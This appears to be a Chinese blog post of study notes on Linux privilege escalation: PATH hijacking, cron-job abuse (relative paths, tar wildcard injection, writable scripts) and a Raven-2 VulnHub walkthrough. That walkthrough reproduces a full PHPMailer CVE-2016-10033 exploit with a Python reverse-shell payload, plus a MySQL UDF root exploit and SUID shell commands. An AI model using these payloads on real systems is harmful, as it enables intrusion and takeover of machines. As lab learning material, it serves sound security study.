Linux定时任务&环境变量&数据库

6757f880c0753692e38a3da55fd2da72

linux提权本地环境变量安全

1
2
3
4
5
6
7
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("ps");
}

什么是shell,就是类似于上一篇的交互式窗口,那么环境变量又是什么?比如说你在linux中输入ls,那么就是显示当前路径下的文件,那么这个ls是怎么做到的?ls也是通过代码写出来的,放在一个指定的路径下,那么这个目录下的特定文件在和一个特定命令进行绑定,打个比方/bin/xxx/ls ,当我在执行ls的时候,就执行/bin/xxx/ls这个文件中的代码,从而实现查看当前目录下文件的作用

执行命令

1
2
3
4
5
6
7
8
cd /tmp
gcc demo.c -o shell
cp /bin/sh /tmp/ps
export PATH=/tmp:$PATH
./ps
chmod u+s shell
./shell
id

执行命令

1
2
3
4
5
6
7
8
cd /tmp
gcc demo.c -o shell
cp /bin/sh /tmp/ps
export PATH=/tmp:$PATH
./ps
chmod u+s shell
./shell
id
  • 增加环境变量export PATH=/tmp:$PATH环境变量里新增/tmp目录,此时执行ps命令就相当于直接执行sh命令了

  • 执行触发chmod u+s shell,./shell执行触发demo.c里面的ps命令,成功提权,个人认为这里还跟代码有关系,因为前面说到root的uid和gid都是0,所以在代码中也是0,而且赋值这个suid权限就是让shell文件有root权限,那么执行shell权限之后就会执行root权限的ps命令,而ps命令在环境变量中已经设置为我们自己设置了的,所以这里ps命令就是执行sh命令,那么由suid执行的sh命令就会是root权限

我这里失败了……..

linux提权本地定时任务安全

路径问题导致提权

利用计划任务指向的文件的相对路径解析问题

  • 执行cat /etc/crontab命令,查看当前系统的定时任务,发现一个test.sh任务没有写绝对路径,而且是以root权限运行的

  • 定时任务中的test.sh没有写绝对路径,但我们知道它默认就是调用/usr/local/bin目录下test.sh

  • 打开看一下,发现此定时任务是每隔一分钟将系统日期写入/tmp/time.log,等1分钟,发现确实/tmp目录下生成了time.log,内容是当前时间

1
date >> /tmp/time.log
  • 提权方法就是在用户目录下写入一个与test.sh同名的文件,执行,此时定时任务以root身份调用的就是我们写的/home/用户名/test.sh,而不是系统原来的/usr/local/bin/test.sh,从而提权
1
2
3
echo 'cp bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/用户名/test.sh
chmod +x /home/用户名/test.sh
/tmp/bash

问题点:

1
2
首先我这里是centos,视屏中是Ubuntu,我这里直接是计划任务都没有启动,然后网上找了一下这centos的计划任务的默认目录,额没有找到.....比较尴尬,这里直接理论分析一波,首先先说一下鸡肋的地方吧,利用条件首先是有运维人员在运行计划任务的时候使用了绝对路径,如果没有那么就gg,因为如果需要自己写的话/usr/local/bin目录普通用户是没有权限的,其次就是我看了几个人的博客,包括视频中都是没有提权成功的
个人的质疑,如果是使用绝对路径进行混淆的话,那么默认是从/usr/local/bin路径进行执行的,那么在不替换的情况下,为什么就会执行普通用户家目录下的计划任务呢?

原理总结:如果在计划任务中有使用绝对路径,那么在可以混淆的情况下,我在家目录下放一个同名的脚本,然后计划任务就会执行我这个脚本,而我这个脚本就会以root进行执行

Snipaste_2023-07-31_16-05-28

Snipaste_2023-07-31_16-04-54

Snipaste_2023-07-31_16-19-44

通配符配合命令问题导致提权

利用通配符配合命令参数自定义命令实现提权

  • 查看当前系统的定时任务,发现一个名为backup.sh的备份定时任务,而且是以root权限运行的

Snipaste_2023-07-31_16-30-16

  • 定时任务每分钟执行一次,打开backup.sh发现是将/home/undead/script目录下的所有文件打包为backup.tar.gz,并放到/tmp目录下
1
2
#backup.sh
cd /home/用户名/script;tar czf /tmp/backup.tar.gz *
  • 使用以下命令在/home/undead/script目录下创建3个文件
1
2
3
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/用户名/script/backup.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1

Snipaste_2023-07-31_16-32-36

Snipaste_2023-07-31_16-34-13

1
2
./bash -p
id

Snipaste_2023-07-31_16-43-36

分析:

1
2
3
4
5
6
利用条件:
1、首先你需要可以被“打包”

原理:
原因是定时任务打包时使用了*将整个文件夹下的文件打包,而当系统真正执行打包操作时,会将目录下的所有文件名一个一个传参给*执行打包操作。前几个文件都没问题,但是当打包到--checkpoint=1文件和--checkpoint-action=exec=sh test.sh文件时,执行的相当于tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh test.sh
而--checkpoint,--checkpoint-action正好是tar命令的参数,打包到这里就会导致tar命令直接把--checkpoint=1和--checkpoint-action=exec=sh test.sh两个文件名当做参数执行,而不打包文件.--checkpoint-action=exec=sh test.sh参数的意思是执行同目录下test.sh文件,test.sh文件内容又是把/bin/bash拷贝给/tmp/bash并给/tmp/bash赋SUID权限。此时我们再执行/tmp/bash就享有了suid权限

权限问题导致提权

利用不安全的权限分配操作导致的定时文件覆盖

  • 管理员正常创建一个文件test.sh时,默认是没有执行权限的,此时管理员若想执行这文件,必须给它赋执行权限,正常的赋权命令是chmod +x test.sh,这样就可以执行test.sh并且组和其他成员无法修改覆盖这个文件(即写权限),但是粗心的管理员会直接chmod 777 test.sh,这样虽然也可以实现执行test.sh的目的,但是会导致权限扩大,即组和其他成员都可以对文件修改覆盖

执行cat /etc/crontab命令,查看当前系统的定时任务,发现一个名为check.sh的定时任务,而且是以root权限运行的

从上面看,利用很简单:

1
cp /bin/bash /tmp/bash; chmod +s /tmp/bash
  • 等待定时任务执行后,执行/tmp/bash -p,提权成功

Linux提权第三方服务数据库MYSQL

1
靶机地址:https://www.vulnhub.com/entry/raven-2,269/

获取ip地址+端口

1
2
nmap 192.168.70.0/24
nmap -p 1-65535 192.168.70.138

Snipaste_2023-07-31_18-45-28

Snipaste_2023-07-31_18-45-40

Snipaste_2023-07-31_18-47-23

发现了一个111端口,然后百度了一下这个端口是什么

Snipaste_2023-07-31_18-47-36

扫描后台

1
dirsearch -u "http://192.168.70.138"

Snipaste_2023-07-31_18-48-59

Snipaste_2023-07-31_18-50-17

Snipaste_2023-07-31_18-50-08

正常来说都是一个一个试,这里就不做演示了,直接访问/vendor/,很明显是一个目录遍历

Snipaste_2023-07-31_18-51-57

Snipaste_2023-07-31_18-52-35

Snipaste_2023-07-31_18-52-52

翻出来一个flag和一个版本号

发现PHPMailerAutoload.php的一个插件

Snipaste_2023-07-31_18-55-44

40974.py下面就是,或者自己下载:https://www.exploit-db.com/exploits/40974

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
"""
# Exploit Title: PHPMailer Exploit v1.0
# Date: 29/12/2016
# Exploit Author: Daniel aka anarc0der
# Version: PHPMailer < 5.2.18
# Tested on: Arch Linux
# CVE : CVE 2016-10033

Description:
Exploiting PHPMail with back connection (reverse shell) from the target

Usage:
1 - Download docker vulnerable enviroment at: https://github.com/opsxcq/exploit-CVE-2016-10033
2 - Config your IP for reverse shell on payload variable
4 - Open nc listener in one terminal: $ nc -lnvp <your ip>
3 - Open other terminal and run the exploit: python3 anarcoder.py

Video PoC: https://www.youtube.com/watch?v=DXeZxKr-qsU

Full Advisory:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
"""

from requests_toolbelt import MultipartEncoder
import requests
import os
import base64
from lxml import html as lh

os.system('clear')
print("\n")
print(" █████╗ ███╗ ██╗ █████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")
print("██╔══██╗████╗ ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")
print("███████║██╔██╗ ██║███████║██████╔╝██║ ██║ ██║██║ ██║█████╗ ██████╔╝")
print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║ ██║ ██║██║ ██║██╔══╝ ██╔══██╗")
print("██║ ██║██║ ╚████║██║ ██║██║ ██║╚██████╗╚██████╔╝██████╔╝███████╗██║ ██║")
print("╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝")
print(" PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")
print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")

target = 'http://192.168.70.138/contact.php'
backdoor = '/shell.php'

payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.70.128\\\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'
fields={'action': 'submit',
'name': payload,
'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/shell.php server\" @protonmail.com',
'message': 'Pwned'}

m = MultipartEncoder(fields=fields,
boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')

headers={'User-Agent': 'curl/7.47.0',
'Content-Type': m.content_type}

proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}


print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')
r = requests.post(target, data=m.to_string(),
headers=headers)
print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')
r = requests.get(target+backdoor, headers=headers)
if r.status_code == 200:
print('[+] ExPLoITeD ' + target)

修改点:

1
2
3
4
5
6
7
8
9
10
11
简单修改一下exp:

a.顶部加上# -*- coding: utf-8 -*-声明,否则注释里一大堆非ASCII字符会报错。

b.修改target为靶机IP地址,利用文件为contact.php。

c.修改后门文件路径名称。也不知道为什么,用默认的backdoor.php总是利用不成功,把payload改成shell.php最终利用成功。

d. 修改反弹shell的地址为nc监听服务器的ip(KALI主机IP)和端口。

e.运行该python脚本需要安装对应的包(pip install requests-toolbelt),如下地址下载并手动安装

Snipaste_2023-07-31_19-44-35

Snipaste_2023-07-31_19-44-59

Snipaste_2023-07-31_19-47-01

反弹回来了

Snipaste_2023-07-31_19-46-03

我用echo的方式写入冰蝎马,但是总是没有成功,所以这里我直接上传到我的服务器上,然后用wget进行下载

Snipaste_2023-07-31_20-10-05

Snipaste_2023-07-31_20-13-19

用冰蝎自带的反弹,连一波kali的msf

Snipaste_2023-07-31_20-13-48

Snipaste_2023-07-31_20-22-31

上传脚本,得到mysql的版本

可以利用python获得持久化shell

1
2
3
4
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/sh")'
python3 -c 'import pty;pty.spawn("/bin/sh")'

Snipaste_2023-07-31_20-24-31

冰蝎这里连接的话,因为数据库密码有一个特殊符号@,那么就需要进行url编码,在进行连接

1
wget https://www.exploit-db.com/download/1518

在kali中编译好文件后上传

1
2
3
4
cp /usr/share/exploitdb/exploits/linux/local/1518.c /opt
cd /opt
gcc -g -c 1518.c
gcc -g -shared -o mysql.so 1518.o -lc

Snipaste_2023-07-31_21-57-20

1
2
3
4
5
6
7
8
mysql -uroot -pR@v3nSecurity
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/mysql.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/mysql.so';
create function do_system returns integer soname 'mysql.so';
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find');

这里说一下,那个神出鬼没这里是写错了,他写的是:use wordpress;,这一步错后面也成不了,找了一两个小时0.0(悲~)

Snipaste_2023-07-31_21-49-39

1
2
touch yatming
find yatming -exec /bin/sh \;

Snipaste_2023-07-31_21-51-04

1
find / -name flag*

Snipaste_2023-07-31_21-53-27

Snipaste_2023-07-31_21-54-41